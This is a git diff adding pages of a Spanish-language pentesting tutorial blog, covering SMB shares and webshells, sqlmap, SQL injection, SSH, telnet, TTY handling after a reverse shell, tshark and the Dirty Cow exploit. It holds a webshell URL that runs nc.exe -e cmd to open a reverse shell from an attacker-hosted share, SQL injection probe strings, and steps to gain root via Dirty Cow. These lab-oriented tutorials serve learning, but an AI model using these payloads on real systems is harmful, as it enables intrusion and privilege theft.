    De esta forma crearemos un recurso compartido a nivel de red que al cual podremos acceder desde cualquier navegador y pudiendo ver y compartir +archivos.

    + +

    Para acceder a este recurso compartido simplemente escribimos nuestra Ip en el navegador seguido del nombre que le hemos dado a la carpeta compartida, +en este caso smbFolder.

    + +

    Ejemplos:

    + +

    Mostrar con dir los recursos compartidos:

    + +
    http://10.10.10.198:8080/upload/kamehameha.php?telepathy=dir \\10.10.14.75\smbFolder\
    +
    + +

    Ejecutar nc.exe a través del navegador, tendremos que especificar una dirección y un puerto de escucha:

    + +
    http://10.10.10.198:8080/upload/kamehameha.php?telepathy=\\10.10.14.75\smbFolder\nc.exe -e cmd [Ip Atacante] [Puerto en Escucha]
    +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/sql_3_sqlmap.html b/Web/sql_3_sqlmap.html new file mode 100644 index 00000000000..32b6170726d --- /dev/null +++ b/Web/sql_3_sqlmap.html @@ -0,0 +1,250 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + SQLMAP + + + + + + + + + + + + + + + + + + + + + +

    SQLMAP

    + +

    ¿Qué es SQLMAP?

    + +

    Sqlmap es un software de código abierto que se utiliza para detectar y explotar las vulnerabilidades de las bases de datos y brinda opciones para +inyectarles códigos maliciosos. Viene con un potente motor de detección al cual le podemos especificar distintas variables.

    + +

    Características:

    + +

    Soporte completo para MySQL, Oracle, PostgreSQL y Microsoft SQL. Además de estos cuatro sistemas de gestión de bases de datos, sqlMap también puede +identificar Microsoft Access, DB2, Informix, Sybase e Interbase.

    + +

    Amplia base de datos de sistema de gestión de huellas dactilares basadas en inband error messages, analizar el banner, las funciones de salida de +comparación y características específicas tales como MySQL comment injection.

    + +

    También es posible forzar a la base de datos de sistema de gestión de nombre si ya lo saben. +Soporte completo para 2 técnicas de SQL injection: blind SQL injection y inband SQL injection.

    + +

    Instalando SQLMAP:

    + +

    SQLMAP viene preinstalado con kali linux, que es la opción preferida de la mayoría de los probadores de penetración. Sin embargo, puede instalar sqlmap +en otros sistemas Linux basados en Debian usando el comando:

    + +
    sudo apt-get install sqlmap
    +
    + +

    Ejecución de SQLMap:

    + +

    Paso 1: Enumere información sobre las bases de datos existentes:

    + +
    sqlmap -u [Url Víctima] --dbs
    +
    + +

    Primero, debemos ingresar la URL web que queremos verificar junto con el parámetro -u. También podemos usar el parámetro –tor si deseamos probar el +sitio web usando proxies. Ahora, por lo general, nos gustaría probar si es posible obtener acceso a una base de datos. Así que usamos la opción –dbs para hacerlo. –dbs enumera todas las bases de datos disponibles.

    + +

    Ejemplo: sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/sql_4_injection.html b/Web/sql_4_injection.html new file mode 100644 index 00000000000..d4fce2ea132 --- /dev/null +++ b/Web/sql_4_injection.html @@ -0,0 +1,236 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso SQL: Inyecciones
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + SQL + + + + + + + + + + + + + + + + + + + + + +

    SQL Injection

    + +

    La Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel +de validación de las entradas para realizar operaciones sobre una base de datos.

    + +

    Argumentos para comprobar si se puede realizar un SQL Injection:

    + +

    Podemos probar distintas líneas de comando en los campos de escritura para tratar de comprobar si son vulnerables a estas inyecciones SQL:

    + +
    1' or 1=1-- -
    +
    +' or ''='
    +
    + +

    Otra forma es tratar de ver si hay un retraso en la respuesta (en este caso de 5 segundos) con el siguiente comando, para asegurarnos debemos probar con +varios símbolos finales, ya que podría no ser vulnerable a todos.:

    + +
    'or sleep(5)
    +
    +'or sleep(5)#
    +
    +'or sleep(5)@
    +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/ssh.html b/Web/ssh.html new file mode 100644 index 00000000000..56fbb48d92a --- /dev/null +++ b/Web/ssh.html @@ -0,0 +1,296 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + SSH + + + + + + + + + + + + + + + + + + + + + + +

    ¿Qué es SSH?

    + +

    SSH o Secure Shell, es un protocolo de administración remota que le permite a los usuarios controlar y modificar sus servidores remotos a través +de Internet a través de un mecanismo de autenticación.

    + +

    Proporciona un mecanismo para autenticar un usuario remoto, transferir entradas desde el cliente al host y retransmitir la salida de vuelta al +cliente. El servicio se creó como un reemplazo seguro para el Telnet sin cifrar y utiliza técnicas criptográficas para garantizar que todas las +comunicaciones hacia y desde el servidor remoto sucedan de manera encriptada.

    + +

    ¿Cómo funciona SSH?

    + +

    Si usas Linux o Mac, entonces usar el protocolo SSH es muy fácil. Si utilizas Windows, deberás utilizar un cliente SSH para abrir conexiones SSH. +Para iniciar un servicio SSH en Linux ejecutamos el comando ssh, donde especificamos el usurio y el host separados por @.

    + +
    ssh [Usuario]@[Host]
    +
    + +

    ssh : Le indica a tu sistema que desea abrir una Conexión de Shell Segura y cifrada.

    + +

    Usuario : Representa la cuenta a la que deseas acceder. Podemos acceder como root si queremos tener máximos privilegios en el equipo cliente.

    + +

    Host : Hace referencia al equipo al que quieres acceder. Esto puede ser una dirección IP (10.10.10.10) o un nombre de + dominio (www.ejemplo.com).

    + +

    Una vez establecida la conexión nos pedira la contraseña de la cuenta solicitada. La introducimos, pulsamos Enter y finalmente tendremos control +del equipo.

    + +

    Puerto predeterminado SSH

    + +

    La comunicación inalámbrica o por cable entre dos máquinas se realiza a través de puertos. Hay un total de 65,536 puertos de comunicación y la +comunicación puede tener lugar a través de cualquiera de estos puertos. SSH se comunica por defecto a través del puerto 22. Cuando ejecutamos el +comando anterior, la conexión entre el cliente local y el servidor se establece a través del puerto 22 y toda la comunicación se ejecuta a través +de este puerto.

    + +

    Especificar puerto de conexión con SSH

    + +

    En ocasiones, se puede modificar el puerto por el cual se conecta SSH. En caso de no especificar ningún puerto, SSH se conectará por defecto por +el puerto 22. En caso de querer especificar otro puerto lo podemos hacer con la opción -p seguido del puerto en cuestión.

    + +
    ssh [Usuario]@[Dirección] -p [Puerto]
    +
    + +

    Conectarse a un servicio SSH con SSHPASS:

    + +

    La utilidad sshpass está diseñada para ejecutar SSH utilizando el modo de autenticación de contraseña interactiva +con el teclado, pero de una manera no interactiva. De esta forma podemos especificar en la misma línea de comandos +la contraseña antes de ejecutar el comando SSH. La contraseña debe establecerse entre comillas dobles:

    + +
    sshpass -p ["Contraseña"] ssh [Usuario]@[Dirección] -p [Puerto] 
    +
    + +

    Ejemplo de conexión SSH:

    + +

    Para realizar un ejemplo de como conectarnos a otro equipo empleando SSH vamos a utilizar la web https://overthewire.org. Esta página está +enfocada en enseñar los parámetros básicos de Linux y SSH a través de distintos laboratorios. A estos laboratorios nos conectaremos a través de +SSH y la finalidad de cada práctica es encontrar la flag secreta oculta en cada sistema. La flag encontrada es la contraseña para poder conectarnos +al siguiente nivel.

    + +

    En este ejemplo únicamente mostraremos como conectarnos a través de SSH, para ver todas prácticas de Over The Wire podéis encontrarlas en la +sección de Laboratorios.

    + +

    En primer lugar, abrimos la página oficial de Over The Wire:

    + +

    Captura de pantalla 2022-10-12 220427

    + +

    Una vez abierta nos dirigimos al Nivel 0:

    + +

    Captura de pantalla 2022-10-12 221133

    + +

    Vemos como nos dice que el nombre del usuario es bandit0 que la contraseña es bandit0 también, la dirección es bandit.labs.overthewire.org +y nos indica que debemos utilizar el puerto 2220:

    + +
    ssh bandit0@bandit.labs.overthewire.org -p 2220 
    +
    + +

    Una vez ejecutado el comando anterior, nos pedirá la contraseña, la introducimos y ya tendremos acceso al +otro equipo:

    + +

    Captura de pantalla 2022-10-12 221350

    + +

    Captura de pantalla 2022-10-12 221444

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + + \ No newline at end of file diff --git a/Web/sshpass.html b/Web/sshpass.html new file mode 100644 index 00000000000..c09b0911937 --- /dev/null +++ b/Web/sshpass.html @@ -0,0 +1,269 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + SSHPASS + + + + + + + + + + + + + + + + + + + + + +

    ¿Qué es SSHPASS?

    + +

    Sshpass es una herramienta de líneas de comandos que nos permite proporcionar una contraseña junto con el nombre de usuario de SSH.

    + +

    Ssh usa el acceso TTY directo para asegurarse de que la contraseña realmente la proporcione un usuario de teclado interactivo. Sshpass ejecuta ssh en +un tty dedicado, lo engaña para que crea que está recibiendo la contraseña de un usuario interactivo.

    + +

    El uso de sshpass se considera menos seguro, ya que revela la contraseña a todos los usuarios del sistema en la línea de comandos con el simple comando ps . +Es mucho más seguro utilizar la autenticación sin contraseña previa SSH.

    + +

    Instalar SSHPASS:

    + +

    Normalmente, Sshpass suele venir instalado de serie en sistemas preparados para el pentesting como Kali o Parrot, para instalar la herramienta simplemente +ejecutar el siguiete comando en la terminal (Esto es válido para sistemas basados en Debian):

    + +
    sudo apt install sshpass
    +
    + +

    Sshpass se usa junto con ssh , puede ver todas las opciones de uso de sshpass con descripciones completas emitiendo el siguiente comando:

    + +
    sshpass -h
    +
    + +

    Incluir contraseña en SSH mediante SSHPASS:

    + +

    Para poder introducir la contraseña junto con el nombre de usuario para iniciar una conexión ssh debemos cumplir la siguiente sintaxis:

    + +
    sshpass -p "Mi_Contraseña" ssh usuario@[Dirección_Ip] 
    +
    + +

    Ejemplo:

    + +
    sshpass -p "12345" ssh Manolo@10.10.10.10 
    +
    + +

    Aquí, la contraseña se proporciona en la línea de comando, que es prácticamente insegura y no se recomienda usar esta opción.

    + +

    Incluir contraseña guardada en un archivo con SSHPASS:

    + +

    También podemos utilizar la opción -f y poner la contraseña en un archivo. De esta manera, puede leer la contraseña del archivo de la siguiente manera:

    + +
    sshpass -f [ArchivoConLaContraseña] ssh usuario@[Dirección_Ip] 
    +
    + +

    Evitar mostrar la contraseña por pantalla con SSHPASS:

    + +

    Para evitar mostrar la contraseña en la pantalla, puede usar la -ebandera e ingresar la contraseña como un valor de la variable de entorno SSHPASS +como se muestra a continuación:

    + +
    exportar SSHPASS= 'Mi_Contraseña'
    +echo $SSHPASS
    +sshpass -e ssh usuario@[Dirección_Ip]  
    +
    + +

    La variable de entorno SSHPASS es solo para fines temporales y se eliminará durante el reinicio.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/telnet.html b/Web/telnet.html new file mode 100644 index 00000000000..78880ebaaf1 --- /dev/null +++ b/Web/telnet.html @@ -0,0 +1,286 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Telnet + + + + + + + + + + + + + + + + + + + + + +

    ¿Qué es Telnet?

    + +

    Telnet es el nombre de un protocolo de red que nos permite acceder a otra máquina para manejarla remotamente como si estuviéramos sentados delante +de ella. También es el nombre del programa informático que implementa el cliente.

    + +

    Para que la conexión funcione, como en todos los servicios de Internet, la máquina a la que se acceda debe tener un programa especial que +reciba y gestione las conexiones. El puerto que se utiliza generalmente es el 23/TCP.

    + +

    Funcionamiento:

    + +

    Telnet solo sirve para acceder en modo terminal, es decir, sin gráficos, pero es una herramienta muy útil para arreglar fallos a distancia, sin necesidad +de estar físicamente en el mismo sitio que la máquina que los tenga. También se usaba para consultar datos a distancia, como datos personales +en máquinas accesibles por red, información bibliográfica, etc.

    + +

    Aparte de estos usos, en general telnet se ha empleado (y aún hoy se puede utilizar en su variante SSH) para abrir una sesión con una +máquina UNIX, de modo que múltiples usuarios con cuenta en la máquina, se conectan, abren sesión y pueden trabajar utilizando esa máquina. +Es una forma muy usual de trabajar con sistemas UNIX.

    + +

    Ejecución:

    + +

    Podemos conectarnos a un cliente con el servicio Telnet activo utilizando el comando telnet seguido del host o de la Ip de equipo que establece +el servicio Telnet a través del puerto 23 TCP.

    + +
    telnet http://ejemplo.com/
    +
    +telnet 10.10.10.10
    +
    + +

    Una vez establecida la conexión nos pedirá un Usuario pulsamos Enter y una Contraseña y volvemos a pulsar Enter para finalizar. Una vez hecho esto tendremos acceso al equipo.

    + +

    Seguridad:

    + +

    Hay 3 razones principales por las que el telnet no se recomienda para los sistemas modernos desde el punto de vista de la seguridad:

    + +
      +
    1. +

      Los dominios de uso general del telnet tienen varias vulnerabilidades descubiertas a lo largo de los años, y varias más que podrían aún existir.

      +
    2. +
    3. +

      Telnet, por defecto, no cifra ninguno de los datos enviados sobre la conexión (contraseñas inclusive), así que es fácil interferir y grabar las +comunicaciones, y utilizar la contraseña más adelante para propósitos maliciosos.

      +
    4. +
    5. +

      Telnet carece de un esquema de autenticación que permita asegurar que la comunicación esté siendo realizada entre los dos anfitriones deseados, +y no interceptada entre ellos.

      +
    6. +
    + +

    En ambientes donde es importante la seguridad, por ejemplo en el Internet público, telnet no debe ser utilizado. Las sesiones de telnet no son cifradas. +Esto significa que cualquiera que tiene acceso a cualquier router, switch, o gateway localizado en la red entre los dos anfitriones donde se está +usando telnet puede interceptar los paquetes de telnet que pasan cerca y obtener fácilmente la información de la conexión y de la contraseña +(y cualquier otra cosa que se mecanografía) con cualesquiera de varias utilidades comunes como tcpdump y Wireshark.

    + +

    Estos defectos han causado el abandono y depreciación del protocolo telnet rápidamente, a favor de un protocolo más seguro y más funcional llamado SSH.

    + +

    Activar/Descativar Telnet en Windows:

    + +

    Para activar Telnet en Windows 10, abre el menú de inicio y busca el término características.

    + +

    En los resultados, pulsa sobre Activar o desactivar las características de Windows, que es una de las opciones que puedes encontrarte en el +antiguo panel de control heredado de versiones anteriores de Windows.

    + +

    Se abrirá directamente una ventana en la que puedes activar características avanzadas de Windows que suelen estar ocultas. En ella, activa la +opción de Cliente Telnet y pulsa en el botón Aceptar.

    + +

    Windows se tomará unos segundos para buscar los archivos necesarios, y al terminar ya estará activada la función en el ordenador. Esto lo +tienes que hacer tanto en el equipo al que te quieres conectar como ese desde el que te conectarás.

    + +

    Activar/Descativar Telnet en Windows:

    + +

    El archivo de configuración de telnet es /etc/xinetd.d/telnet. Para habilitar el servidor telnet, debe abrir este archivo y asegurarse de que +Deshabilitar = No está como Deshabilitar = Sí.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/tratamientotty.html b/Web/tratamientotty.html new file mode 100644 index 00000000000..c5a4da58b47 --- /dev/null +++ b/Web/tratamientotty.html @@ -0,0 +1,284 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + TTY + + + + + + + + + + + + + + + + + + + + + +

    Tratamiento de la TTY

    + +
  • ¿Qué es la TTY?
  • +
  • ¿Para qué sirve el tratamiento de la TTY?
  • +
  • Ajustar Proporciones de la TTY
  • + +

    +

    ¿Qué es la TTY?

    + +

    En la terminología de Unix, un tty es un tipo particular de archivo de dispositivo que implementa una cantidad de comandos proporcionados por el hardware +de nuestro equipo.

    + +

    También otros TTYs llamados, en ocasiones, pseudo-tty se proporcionan (a través de una delgada capa de kernel) mediante programas llamados emuladores de +terminal, como xterm, termite,gnome-terminal, konsole.

    + +

    +

    ¿Para qué sirve el tratamiento de la TTY?

    + +

    Cuando nos conectamos mediante una reverse-shell con otro equipo, en muchas ocasiones nos encontraremos con que la Shell de la que disponemos no son +prácticas, las proporciones no son correctas, no podemos utilizar atajos de teclado, al pulsar (Cntrl + L) perdemos la terminal y una larga serie de +inconvenientes.

    + +

    Para evitar todos estos problemas, una vez hemos establecido la Shell inversa, podemos realizar lo que se conoce como un tratamiento de la TTY, para +poder disponer de una Shell completamente funcional.

    + +

    Para saber si nos encontramos en una TTY:

    + +
    tty
    +
    + +

    Si nos reporta not a tty introducimos los siguientes comandos:

    + +
    script /dev/null -c bash
    +
    + +

    Luego, pulsamos Cntrl + z para salir de la terminal e introducimos el segundo comando:

    + +
    stty raw echo; fg
    +
    + +

    Y debajo de este comando a la derecha, escribimos reset xterm para volver a la terminal ya lista.

    + +
    reset xterm
    +
    + +

    En caso de no funcionar aún el Ctrl + l para limpiar la terminal, realizamos tambien lo siguiente:

    + +
    export SHELL=bash  
    +export TERM=xterm
    +
    + +

    +

    Ajustar Proporciones:

    + +

    Para que las proporciones de la terminal sean iguales a las de nuestro sistema debemos ajustar tanto las filas como las columnas. Por ejemplo si abrimos +o creamos un archivo con nano este se verá pequeño. Para ajustar estas proporciones primero debemos ir a una de nuestras ventas y ver que proporciones tiene:

    + +
    stty size
    +
    + +

    Captura de pantalla 2022-07-22 133406

    + +

    En mi caso mi terminal tiene 52 filas y 189 columnas. Ahora ajustaremos con estos parámetros nuestra Reverse Shell. Para ello escribimos lo siguiente en la +terminal de la Reverse Shell:

    + +
    stty rows 52 columns 189
    +
    + +

    Captura de pantalla 2022-07-22 133922

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + + \ No newline at end of file diff --git a/Web/tshark.html b/Web/tshark.html new file mode 100644 index 00000000000..b7c55be5bc9 --- /dev/null +++ b/Web/tshark.html @@ -0,0 +1,297 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + tshark + + + + + + + + + + + + + + + + + + + + + + + + +

    +

    ¿Qué es Tshark?

    + +

    Thark es una herramienta para realizar análisis de protocolos. Se utiliza a través de línea de comandos. Todo el manejo tiene que realizarse +a través de comandos.

    + +

    Como herramienta similar encontramos Tcpdump. Esta también es muy utilizada en entornos Linux que no disponen de entorno gráfico para trabajar.

    + +

    Tshark puede realizar análisis en tiempo real o investigar una captura guardada. Estos son los conocidos ficheros pcap o pcapng. +La ventaja que nos ofrece Tshark frente a otras herramientas en línea de comandos es su funcionamiento. Podríamos decir sin equivocarnos +que es Wireshark, pero en línea de comandos. Esto quiere decir que las personas que estén acostumbradas a trabajar con Wireshark van a poder +realizar las mismas tareas, pero sin tener que hacerlo a través de ventanas y botones. Lo que permite incluso utilizarlo o incorporarlo en +scripts automatizados.

    + +

    +

    Capturar paquetes http:

    + +
    tshark -i tun0 -Y "http" 2>/dev/null
    +
    + +

    +

    Capturar paquetes http y guardar resultados en un archivo .cap:

    + +
    tshark -i tun0 -w Captura.cap 2>/dev/null
    +
    + +
      +
    • -i: Especifica la interfaz. En este caso tun0.
    • +
    • -w: Especifica que queremos guardar la información. Los datos se guardarán en el archivo Captura.cap.
    • +
    • +

      /dev/null: Es el dispositivo nulo, toma cualquier entrada que desee y la tira. Se puede usar para suprimir cualquier salida.

      +
    • +
    • Más información sobre /dev/null –> Link
    • +
    + +

    +

    Representar los resultados guardados de un análisis con Tshark:

    + +

    Ahora, los resultados han quedado guardados en el archivo Captura.cap, para poder representar los archivos sustituimos la opción -i por -r:

    + +
    tshark -r Captura.cap 2>/dev/null
    +
    + +

    +

    Filtrar resultados guardados:

    + +

    Para filtrar y representar por pantalla los resultados guardados de un análisis con Tshark, utilizaremos la opción -Y:

    + +

    tshark -r Captura.cap -Y “[Palabra Filtrada]” 2>/dev/null

    + +

    Ejemplo:

    + +
    tshark -r Captura.cap -Y "http" 2>/dev/null
    +
    + +

    En este ejemplo, Tshark representará la información que contenga la palabra http.

    + +

    +

    Ver atributos de un paquete:

    + +

    Empleando la opción -Tjson podremos ver por cada paquete filtrado pro la palabra http todos sus atributos en json.

    + +

    tshark -r Captura.cap -Y “http” -Tjson 2>/dev/null

    + +

    +

    Filtrar por campos que contenga el archivo:

    + +

    En el siguiente ejemplo vamos a ver como extraer toda la data en hexadecimal de un campo específico. En este caso Tshark mediante la opción +-Tfields especifica que queremos exportar un campo y data.data es el campo que queremos exportar.

    + +

    tshark -r Captura.cap -Y “http” -Tfields -e “data.data” 2>/dev/null

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/ver_archivos_alojados_en_la_Web.html b/Web/ver_archivos_alojados_en_la_Web.html new file mode 100644 index 00000000000..5dbb124cc71 --- /dev/null +++ b/Web/ver_archivos_alojados_en_la_Web.html @@ -0,0 +1,227 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + + + +

    Ver los archivos alojados en una Web desde Linux.

    + +

    /var/www

    + +

    Una vez hemos accedido al sistema, los servicios y archivos que se ejecutan en una web HTTP se suelen alojar en el directorio /var/www. +Dentro de este directorio encontraremos los archivos que componen el servicio web HTTP y, por tanto, es interesante revisarlos en busca +de información que nos pueda ser útil en un futuro.

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/ver_codigo_fuente_terminal.html b/Web/ver_codigo_fuente_terminal.html new file mode 100644 index 00000000000..f56142ca62e --- /dev/null +++ b/Web/ver_codigo_fuente_terminal.html @@ -0,0 +1,280 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + +

    Ver Código Fuente de una Web desde la Terminal

    + +

    En este artículo vamos a ver como utilizando el comando Curl vamos a poder ver el código fuente de una página web en nuestra terminal y como utilizarlo +junto a las herramientas htmlq y grep.

    + +

    Esto es muy útil cuando queremos trabajar con el código, cuando necesitamos parte de él para otra tarea o simplemente para visualizarlo de forma más +cómoda (por ejemplo, en caso de mostrarse todo el código en una línea, en nuestra terminal lo podremos separar y estructurar para que sea más visual).

    + +
    curl -s -X GET "[Dirección Web]"
    +
    +curl -s -X GET "http://ejemplo.com"
    +
    + +
      +
    • -s: Mostrar código de estado de respuesta.
    • +
    + +

    Ejemplo: +Para estos ejemplos emplearemos la máquina Horizontall de Hack the Box y vamos a tratar de visualizar el código fuente de la página http://horizontall.htb. +Realizamos la petición mediante Curl:

    + +
    curl -s -X GET "http://horizontall.com"
    +
    + +

    Captura de pantalla 2022-07-22 092440

    + +

    Captura de pantalla 2022-07-22 092523

    + +

    Como podéis ver nos muestra el código en una sola línea. Para que podamos verlo de forma más cómoda vamos a usar la herramienta htmlq.

    + +

    Instalar htmlq:

    + +

    Para instalar la herramienta htmlq simplemente ejecutamos estos dos comandos, primero instalamos cargo:

    + +
    sudo apt install cargo
    +
    + +

    Y ahora procedemos a la instalación de htmlq:

    + +
    cargo install htmlq
    +
    + +

    Ver Código Fuente con Curl y HTMLQ:

    + +

    Finalmente, parta poder visualizar el código, lo ejecutamos de la siguiente manera:

    + +
    curl -s -X GET "http://ejemplo/" | htmlq -p
    +
    + +

    Captura de pantalla 2022-07-22 102441

    + +

    Actualmente, htmlq está dando muchos problemas con sus librerías, en caso de no funcionar, otra alternativa para visualizarlo de manera más práctica (ya que distingue las sentencias por colores) +es empleando la herramienta bat que básicamente es una mejora que sustituye al cat que viene predeterminado en Linux.

    + +

    Ver Código Fuente con Curl y Grep

    + +

    Otra forma de evitarnos visualizar todo el código en una sola línea es filtrando los <> con grep, ya que en html, cada sentencia viene entre corchetes. +Para filtrar con la herramienta grep añadimos el siguiente comando grep -oP '<.*?>' concatenado con Curl:

    + +
    curl -s -X GET "http://ejemplo.com/" | grep -oP '<.*?>'
    +
    + +

    Captura de pantalla 2022-07-22 111245

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/vuln_1_dirtycow.html b/Web/vuln_1_dirtycow.html new file mode 100644 index 00000000000..d5dd4b34a81 --- /dev/null +++ b/Web/vuln_1_dirtycow.html @@ -0,0 +1,318 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Vulnerabilidades + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Vulnerabilidades
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + DirtyCow + + + + + + + + + + + + + + + + + + + + + +

    Dirty Cow - EDB-ID:40839

    + + + +

    +

    ¿Qué es Dirty Cow?

    + +

    Dirty Cow (Dirty copy-on-write) es una vulnerabilidad de seguridad informática para el kernel de Linux que afectó a todos los +sistemas operativos basados en Linux, incluidos los dispositivos Android, que usaban versiones anteriores del kernel de Linux +creadas antes de 2018.

    + +

    Concretamente, afecta a las versiones desde la 2.6.22 hasta la 3.9 del kernel de Linux.

    + +

    +

    ¿Cómo explotar la vulnerabilidad Dirty Cow?

    + +

    Este exploit escrito en C, utiliza el exploit pokemon de la vulnerabilidad Dirty Cow.

    + +

    El exploit aprovecha una vulnerabilidad en el código del kernel de Linux a través del cual genera automáticamente una nueva línea passwd(/etc/passdw).

    + +

    Se le pedirá al usuario la nueva contraseña cuando se ejecute el binario.

    + +

    A continuación, se realiza una copia de seguridad del archivo /etc/passwd original en /tmp/passwd.bak y sobrescribe la cuenta raíz con la +línea generada. Esto podemos comprobarlo haciendo un cat en el archivo passwd:

    + +
    cat /etc/passwd
    +
    + +

    Captura de pantalla 2022-08-04 031357

    + +

    Después de ejecutar el exploit, debería poder iniciar sesión con el usuario recién originado. Por defecto se creará el Usurio firefart. Podemos +cambiar el nombre dentro del exploit y proporcionarle el que queramos.

    + +

    Captura de pantalla 2022-08-04 031524

    + +

    Captura de pantalla 2022-08-04 031701

    + +

    Exploit original: https://www.exploit-db.com/exploits/40839

    + +

    Exploit en mi repositorio GitHub: https://github.com/F1r0x/f1r0x.github.io/blob/main/Exploits/DirtyCow/dirty.c

    + +

    +

    Como saber que un equipo posee la vulnerabilidad Dirty Cow:

    + +

    Básicamente, para comprobar si un sistema Linux es vulnerable al Dirty Cow es revisando la versión del kernel. Si la versión del kernel está entre +la 2.6.22 hasta la 3.9 es muy posible que sea vulnerable. Para comprobar la versión del kernel podemos utilizar el comando:

    + +
    uname -a
    +
    + +

    Captura de pantalla 2022-08-04 034452

    + +

    +

    Instalación del exploit:

    + +

    Para instalar el exploit, primero debemos tener acceso al sistema y poder descargar el binario en el equipo víctima, podemos descargarlo desde +el repositorio original o desde GitHub si nos permite realizar un git clone o podemos copiarlo directamente desde el buscador y crear el +archivo (mediante nano por ejemplo).

    + + + +

    Podemos crear el archivo dirty.c utilizado nano y pegar el código del exploit.

    + +

    Una vez descargado o creado lo debemos compilar con:

    + +
    gcc -pthread dirty.c -o dirty -lcrypt 
    +
    + +

    Captura de pantalla 2022-08-04 031828

    + +

    +

    Ejecución del Exploit:

    + +

    Ahora para ejecutar el binario utilizamos el siguiente comando:

    + +
    ./dirty
    +
    + +

    Captura de pantalla 2022-08-04 031905

    + +

    Tras ejecutarlo nos pedirá que ingresemos una nueva contraseña.

    + +

    Finalmente, una vez generada la nueva contraseña, se alojará el nuevo usuario en el /etc/passwd y podremos ingresar como ese usuario + el cual tendrá privilegios de superusuario o root.

    + +

    Para acceder al usuario:

    + +
     su firefart
    +
    + +
      +
    • firefart: Es el usuario predeterminado del exploit.
    • +
    + +

    Para acceder a través de un servicio ssh:

    + +
     ssh firefart@[Ip Vícitma]
    +
    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/wc.html b/Web/wc.html new file mode 100644 index 00000000000..f6f77c5e155 --- /dev/null +++ b/Web/wc.html @@ -0,0 +1,257 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + wc + + + + + + + + + + + + + + + + + + + + + + +

    Cómo contar líneas, palabras o bytes de un archivo con el comando WC

    + +

    ¿Qué es WC?

    + +

    El comando wc muestra información estadística sobre un archivo, como el número de líneas, palabras y caracteres.

    + +

    Cómo se utiliza:

    + +

    Para utilizar el comando wc debemos de respetar la siguiente sintaxis:

    + +
    wc [Opciones] [Archivos]
    +
    + +

    El comando wc tiene las siguientes opciones:

    + +
      +
    • -l, –lines: Imprime solo el número de líneas.
    • +
    • -w, –words: Imprime solo el número de palabras.
